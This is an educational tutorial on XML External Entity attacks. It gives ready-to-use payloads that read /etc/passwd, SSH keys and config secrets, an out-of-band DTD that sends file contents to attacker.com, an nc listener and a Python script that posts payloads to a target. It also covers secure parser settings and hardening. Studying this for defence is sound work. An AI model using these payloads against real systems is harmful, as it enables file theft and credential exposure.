#XML External Entity (XXE) Attacks

You're filling out a form at a government office. In the "Name" field, instead of writing your name, you write: "Copy the contents of File #1234 into this field." If the clerk follows instructions blindly, they'll read a confidential file and write it on your form for you to see.

You hand someone a document to copy. Hidden in your document is an instruction: "Go to the filing cabinet, retrieve Document X, and make a copy for this person." If they follow embedded instructions without thinking, they'll give you documents you shouldn't have access to.

Mad Libs asks you to fill in blanks: "The ___ ran to the ___." Normally you write words. But what if you write "contents of my diary" in the blank? If the Mad Libs book could actually fetch and insert your diary contents, that's XXE - using a placeholder to inject external content.

xml<!-- User uploads normal XML -->
<?xml version="1.0"?>
<order>
    <item>Laptop</item>
    <quantity>1</quantity>
</order>

Server processes it normally and displays: "Order received: 1 Laptop"

xml<!-- Hacker uploads this -->
<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<order>
    <item>&xxe;</item>
    <quantity>1</quantity>
</order>

1. Parser sees <!ENTITY xxe SYSTEM "file:///etc/passwd">
2. Parser defines entity "xxe" that references /etc/passwd
3. Parser sees &xxe; in the XML
4. Parser reads /etc/passwd file
5. Parser replaces &xxe; with file contents

Order received: 1 root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...

The hacker just read the server's password file!

xml<!ENTITY file SYSTEM "file:///etc/passwd">       <!-- User accounts -->
<!ENTITY file SYSTEM "file:///etc/shadow">       <!-- Password hashes -->
<!ENTITY file SYSTEM "file:///etc/hosts">        <!-- Network configuration -->
<!ENTITY file SYSTEM "file:///proc/self/environ"> <!-- Environment variables -->
<!ENTITY file SYSTEM "file:///var/log/apache2/access.log"> <!-- Logs -->
<!ENTITY file SYSTEM "file:///root/.ssh/id_rsa"> <!-- SSH keys -->

xml<!ENTITY file SYSTEM "file:///C:/Windows/System32/drivers/etc/hosts">
<!ENTITY file SYSTEM "file:///C:/Users/Administrator/.ssh/id_rsa">
<!ENTITY file SYSTEM "file:///C:/inetpub/wwwroot/web.config">

xml<!ENTITY file SYSTEM "file:///var/www/html/config.php">  <!-- Database passwords -->
<!ENTITY file SYSTEM "file:///app/secrets.json">         <!-- API keys -->
<!ENTITY file SYSTEM "file:///.env">                     <!-- Environment config -->

pythonfrom lxml import etree

xml_data = request.files['upload'].read()

# Default settings allow external entities!
parser = etree.XMLParser()
tree = etree.fromstring(xml_data, parser)

# Attacker can read any file the server can access

java// Java - VULNERABLE
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
// External entities enabled by default!
DocumentBuilder builder = factory.newDocumentBuilder();
Document doc = builder.parse(new InputSource(new StringReader(xmlData)));

php// PHP - VULNERABLE
// libxml_disable_entity_loader is deprecated but still used
libxml_disable_entity_loader(false);  // DANGEROUS!
$xml = simplexml_load_string($xmlData);

Create file at http://attacker.com/evil.dtd:

xml<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://attacker.com/log?data=%file;'>">
%eval;
%exfiltrate;

xml<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd">
  %xxe;
]>
<data>test</data>

What happens:

1. Server parses your XML
2. Server fetches evil.dtd from your server
3. evil.dtd reads /etc/passwd
4. evil.dtd makes HTTP request to attacker.com with file contents in URL
5. You receive the data in your server logs:

   GET /log?data=root:x:0:0:root:/root:/bin/bash... HTTP/1.1
   

1. Create malicious XXE in word/document.xml
2. Zip it as .docx
3. Upload to document processor
4. XXE executes when opened

1. Malicious XML in xl/worksheets/sheet1.xml
2. Same attack as DOCX

xml<?xml version="1.0" standalone="yes"?>
<!DOCTYPE svg [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<svg width="500" height="500">
  <text x="0" y="16">&xxe;</text>
</svg>

xml<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  <!DOCTYPE foo [
    <!ENTITY xxe SYSTEM "file:///etc/passwd">
  ]>
  <soap:Body>
    <getUserInfo>
      <userId>&xxe;</userId>
    </getUserInfo>
  </soap:Body>
</soap:Envelope>

Researcher created DOCX with XXE payload

XXE payload read internal files

Could access:

• Internal network configurations
• Source code
• Configuration files

pythonfrom lxml import etree

# SECURE: Disable external entities
parser = etree.XMLParser(
    resolve_entities=False,  # Don't resolve entities
    no_network=True,         # No network access
    load_dtd=False           # Don't load DTD
)

xml_data = request.files['upload'].read()
tree = etree.fromstring(xml_data, parser)

javaimport javax.xml.parsers.DocumentBuilderFactory;

DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();

// SECURE: Disable all the things
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
factory.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
factory.setXIncludeAware(false);
factory.setExpandEntityReferences(false);

DocumentBuilder builder = factory.newDocumentBuilder();
Document doc = builder.parse(new InputSource(new StringReader(xmlData)));

php<?php
// SECURE: Disable external entities
libxml_disable_entity_loader(true);

// Even better: use simplexml with LIBXML_NOENT disabled
$xml = simplexml_load_string(
    $xmlData,
    'SimpleXMLElement',
    LIBXML_NOCDATA | LIBXML_NONET
);
?>

javascriptconst libxmljs = require('libxmljs');

// SECURE: Disable external entities
const xml = libxmljs.parseXml(xmlData, {
    noent: false,    // Don't substitute entities
    nonet: true,     // No network access
    dtdload: false,  // Don't load DTD
    dtdvalid: false  // Don't validate against DTD
});

csharpusing System.Xml;

XmlReaderSettings settings = new XmlReaderSettings();

// SECURE: Disable DTD processing
settings.DtdProcessing = DtdProcessing.Prohibit;
settings.XmlResolver = null;

using (XmlReader reader = XmlReader.Create(stream, settings))
{
    XmlDocument doc = new XmlDocument();
    doc.Load(reader);
}

defusedxml - Secure XML library specifically for preventing attacks

pythonimport defusedxml.ElementTree as ET

# Automatically prevents XXE, billion laughs, etc.
tree = ET.parse('file.xml')

Use latest versions with secure defaults or consider using JSON instead

fast-xml-parser with safe defaults. Better: use JSON

bash# Run application with limited permissions
# Can't read /etc/passwd if process doesn't have permission

# Create limited user
useradd -r -s /bin/false xmlapp

# Run app as limited user
su -s /bin/sh xmlapp -c 'node server.js'

bash# Application files should not be readable by app user
chmod 640 /app/config/database.yml
chown root:root /app/config/database.yml

# App runs as 'xmlapp' user
# Even if XXE exists, can't read config files

• File uploads (.xml, .docx, .xlsx, .svg)
• API endpoints accepting XML
• SOAP web services
• RSS/Atom feed parsers
• Configuration file uploads

Upload this XML:

xml<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY test "Hello XXE">
]>
<data>&test;</data>

If response contains "Hello XXE", entities are processed.

xml<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/hostname">
]>
<data>&xxe;</data>

Check if hostname appears in response.

Set up listener:

bashnc -lvp 9001

Upload XML:

xml<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://YOUR-IP:9001/test">
]>
<data>&xxe;</data>

If you receive connection, blind XXE exists.

bash# Test for XXE
ruby XXEinjector.rb --host=192.168.1.100 --path=/upload --file=/tmp/test.xml --oob=http --phpfilter

# Enumerate files
ruby XXEinjector.rb --host=target.com --file=request.txt --enumeration

bash1. Capture XML request
2. Send to Intruder
3. Insert XXE payloads
4. Analyze responses

pythonimport requests

url = "http://target.com/upload"

# Test payloads
payloads = [
    # Basic entity
    '''<?xml version="1.0"?>
    <!DOCTYPE foo [<!ENTITY test "XXE_WORKS">]>
    <data>&test;</data>''',

    # File disclosure
    '''<?xml version="1.0"?>
    <!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/hostname">]>
    <data>&xxe;</data>''',

    # Out-of-band
    '''<?xml version="1.0"?>
    <!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://attacker.com/xxe">]>
    <data>&xxe;</data>'''
]

for i, payload in enumerate(payloads):
    response = requests.post(url, data=payload, headers={'Content-Type': 'application/xml'})

    print(f"Payload {i+1}:")
    print(f"Status: {response.status_code}")
    print(f"Response: {response.text[:200]}")
    print("-" * 50)